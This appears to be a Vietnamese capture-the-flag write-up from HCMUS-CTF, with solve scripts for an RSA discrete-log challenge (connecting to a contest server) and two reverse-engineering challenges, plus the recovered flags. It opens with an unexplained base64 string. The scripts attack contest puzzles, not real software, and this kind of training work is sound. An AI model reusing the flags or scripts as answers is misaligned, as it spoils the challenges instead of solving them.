VVNFUk5BTUU9MTIzJkxFVkVMPVN1cGVyU2FpeWFuJnI9TcO+a/HnAvpZ2UShuBOGKFpCLs6YIrRahGa79BTPMd+QWYHRAKFEEMZqVHDc6S7fzYnREkGr939fePpp+AlQ9rYuZ7BFHIyP3BWHDC2S6EB0p+/m2nbu3QP3wlKzFawn/UhcVJWFVydzVmYXmD4MKuQ1/ehF+TQPr0lxMQkkPGUmcz00i9EUt9d/ifwYU8pc8sxN/4O/O3kJD8+gBPYHAqSo5dKoMw7gI2S7GjkmJYg2MohUKYFK+Y+aV//wUdaBC5yVymcTGs3AM5mJqYOGXR+/9N3frdCGKwLNcaagdoepYUFKMxYfrD4u+BU67uTDuQoc+ol0bGNmtY6wfB/jNvZVEA==

RSA PTA (100pts)

chal.py

from Crypto.Util.number import isPrime, getPrime
import random
import math

p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1) * (q-1)

while True:
    e = random.randint(2,n-1)
    if math.gcd(e,phi) == 1:
        break

d = pow(e, -1, phi)

m = random.randint(2,n-1)
c = pow(m, e, n)

print(m, c)

p = int(input())
q = int(input())
d = int(input())

assert(p < q)
assert(512 <= p.bit_length())
assert(q.bit_length() < 1024)
assert(isPrime(p))
assert(isPrime(q))

n = p * q
assert(1 < d < n)

if m == pow(c, d, n):
    with open('/home/ctf/flag.txt','r') as f:
        print(f.read())

Challenge tạo hai số nguyên tố p, q, mã hóa một số ngẫu nhiên m, trả về m và bản mã c; yêu cầu nhập p, qd sao cho m == pow(c, d, n) (với n=pq).

Như vậy mình cần tìm hai số nguyên tố sao cho việc tính logarit được dễ dàng một chút.

Sau khi tìm được dp, dq sao cho m ≡ c^dp (mod p) và m ≡ c^dq (mod q), tìm d bằng cách tính d ≡ dp (mod p-1) và d ≡ dq (mod q-1).

from sage.all import *
from pwn import remote

r = remote('61.28.237.24', 30304)
m,c = r.recvuntil("\n",drop=True).split()
m,c = int(m),int(c)
print(m,c)

def gen_prime():
    while True:
        p = 2
        r = randint(10,15)
        for i in range(55):
            p *= random_prime(2**r,False,2**(r-1))
        if is_prime(p+1):
            return p+1

primes = []
ds = []
while True:
    p = gen_prime()
    try:
        d = discrete_log(Mod(m,p),Mod(c,p))
        assert pow(Mod(c,p),d,p) == Mod(m,p) and p.nbits() > 511 and p.nbits() < 1024
        
        if len(primes) != 0:
            assert (ds[0] - d) % gcd(primes[0]-1,p-1) == 0
        primes.append(p)
        ds.append(d)
        if len(primes) == 2:
            break
    except:
        continue

_,u,v = xgcd(primes[0]-1,primes[1]-1)
l = (ds[0] - ds[1])//gcd(primes[0]-1,primes[1]-1)
d = (ds[0] - (primes[0]-1)*u*l) % LCM(primes[0]-1,primes[1]-1)
assert m == pow(c,d,primes[0]*primes[1])

p = min(primes)
q = max(primes)
print(p,q)

r.sendline(str(p))
r.sendline(str(q))
r.sendline(str(d))

print(r.recv())

REVERSE

Go

  1. Phân tích tổng quan
  • Load file vào IDA, theo thói quen tôi sẽ đi tìm strings của chương trình, nhận ra file được viết bằng ngôn ngữ Golang. Từ đó ta có thể dễ dàng đọc được tên của các function trong chương trình.

img

  • Hàm main_promptUser() sẽ thực hiện in ra màn hình chuỗi “Please input your secret” và yêu cầu người dùng nhập secret. Sau đó sẽ kiểm tra chiều dài của input, nếu khác 16 kí tự thì sẽ kết thúc chương trình.

img

  • Sau khi kiểm tra chiều dài input, chương trình sẽ duyệt từng kí tự bằng vòng lặp while, hóan đổi hai kí tự, dựa vào biến i và index được lưu trong main_KEY.

img

  • Cuối cùng, chương trình sẽ so sánh Input đã được xáo trộn.
  1. Cách giải
  • Theo như thuật toán, ta chỉ cần hoán đổi vị trí lại, thì sẽ lấy được secret ban đầu.
enc = "apc_iit0" + "_sredaig"
index = [1, 2, 9, 5, 0xF, 7, 0xB, 0xA, 3, 0xD, 8, 0, 0xE, 0xC, 4, 6]

enc_arr = [ord(c) for c in enc]

for i in range(15, -1, -1):
	char1 = enc_arr[i]
	char2 = enc_arr[index[i]]
	enc_arr[i] = char2
	enc_arr[index[i]] = char1

flag = "HCMUS-CTF{" + "".join([chr(c) for c in enc_arr]) + "}"

print("[+] Flag is " + flag)
  • Chạy đoạn script trên, ta được flag

    “HCMUS-CTF{dep_trai_c0gisai}”

pt-vm

  1. Phân tích tổng quan

img

  • Như thường lệ tôi sẽ load file vào IDA để kiểm tra string, ta nhận được các string rất rõ ràng như bên trên.

img

  • Đi từ hàm main(), ta thấy code rất rõ ràng là tạo một child process để chạy hàm ddee(), và parent process để chạy hàm dder().
  1. Phân tích parent process

img

  • Tại hàm dder() mà parent process sẽ thực thi, hàm sử dụng ptrace() cùng với tham số request để tạo giao tiếp với child process. Hàm wait() sẽ đợi cho child process dừng để parent process xử lý.

img

  • Biến data_control sẽ thay đổi khi hàm ptrace() với request là PTRACE_PEEKDATA được gọi. Bằng cách tính toán, biến control sẽ quyết định chương trình sẽ nhảy vào điều kiện nào.

img

  • Điều kiện thứ nhất, lấy dữ liệu từ child process tại địa chỉ num1, lưu vào num_reverse, sau đó thực hiện phép toán reverse bit, và gửi lại cho child process.

img

  • Điều kiện thứ hai, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán cộng, và gửi lại cho child process.

img

  • Điều kiện thứ ba, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán trừ, và gửi lại cho child process.

img

  • Điều kiện thứ tư, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán xor, và gửi lại cho child process.

img

  • Điều kiện thứ năm, lấy tất cả các string đã bị encode, sau đó thực hiện so sánh với geee, và gửi kết quả lại cho child process xử lý.
  1. Phân tích child process
  • Theo như phân tích tại parent process, ta cần tìm cách child process xử lý các biến data_control, num_reverse, num1, num2, calc_rs.

img

  • Đầu tiên tại hàm ddee() của child process sẽ lấy input từ user và kiểm chiều dài của input.
  • Tiếp theo, sẽ thực hiện lấy lần lượt 8 kí tự và để xử lý.
  • Ta sẽ chú ý tại các hàm gọi MEMORY[], nó sẽ bị dừng, mục đích là để hàm wait() bên parent process sẽ được kích hoạt. Và các giá trị 0xA, 0x3C, 0x28, 0x1E, 0x50 sẽ được lưu vào biến data_control của parent process. Các giá trị này tương ứng với các điều kiện ở parent process như sau:

  • 0xA: nhảy vào điều kiện một (reverse bit).
  • 0x3C: nhảy vào điều kiện tư (xor).

  • 0x28: nhảy vào điều kiện hai (cộng).
  • 0x1E: nhảy vào điều kiện ba (trừ).
  • 0x50: nhảy vào điều kiện năm (so sánh).

  • Các tham số của hàm gọi MEMORY[], sẽ được lưu vào num1, num2, num_reverse, phục vụ cho việc tính toán.
  • Với mỗi 8 kí tự, nó sẽ thực hiện tính toán 16 lần bằng vòng lặp for.
  1. Cách giải
  • Từ những phân tích trên, ta có thể viết script để tìm ra flag.

  • Script :

    from z3 import *
      
    gkkk = [325596351, 457775025, 498535334, 921938257, 854559005, 278618817, 967278326, 495455348, 486407031, 560196648, 938663917, 895224611, 427208766, 324837071, 891048005, 328174499]
    num1 = 0x38821775
    num2 = 0x4011109
    enc_arr = [3481818651, 1406422550, 2166333605, 612036842, 3951196244, 3184151364, 4163952787, 2152010559, 1769293459, 3641677631, 170138174, 417601142, 4212788717, 2130536228, 4161410247, 2095996077, 3931769021, 611328995, 3931769021, 611328995, 3931769021, 611328995, 1448741053, 3765445603]
    flag = ""
      
    for j in range(0, len(enc_arr), 2):
    	tmp1 = BitVec("tmp1", 32)
    	tmp2 = BitVec("tmp2", 32)
    	sol = Solver()
      
    	for i in range(0, 16, 1):
    		tmp_tmp1 = tmp2
    		tmp_tmp2 = tmp2
      
    		tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1
    		tmp_tmp2 = tmp_tmp2 ^ num1
    		tmp_tmp2 = (tmp_tmp2 + gkkk[i]) & 0xFFFFFFFF
    		tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1
    		tmp_tmp2 = tmp_tmp2 - num2
    		tmp2 = tmp_tmp2 ^ tmp1
    		tmp1 = tmp_tmp1
      
    	sol.add(tmp1 == enc_arr[j])
    	sol.add(tmp2 == enc_arr[j + 1])
    	sol.check()
    	m = sol.model()
      
    	flag = []
    	md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))
    	for i in md:
    		flag.append(i[1].as_long())
    	for i in flag:
    		print(chr(i & 0xff), end = '')
    		print(chr(i >> 8 & 0xff), end = '')
    		print(chr(i >> 16 & 0xff), end = '')
    		print(chr(i >> 24 & 0xff), end = '')
      
    
  • Chạy đoạn script trên, ta được flag :

HCMUS-CTF{toi_khong_biet_lam_nhu_nao_de_co_flag_dai_96_byte_caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}

Conclusion

Cuối cùng, chúc mừng đội Giải nhất đã chiến thắng hoàn toàn xứng đáng và mình chân thành cảm ơn BTC của Đại học Khoa học Tự Nhiên đã tạo ra sân chơi cực kỳ bổ ích đến cho chúng mình, qua cuộc thi này mình cảm thấy học được nhiều thứ mới và cũng như đánh giá lại được năng lực của bản thân để cố gắng phát triển hơn nữa. _ Happy hacking XD _

You might also enjoy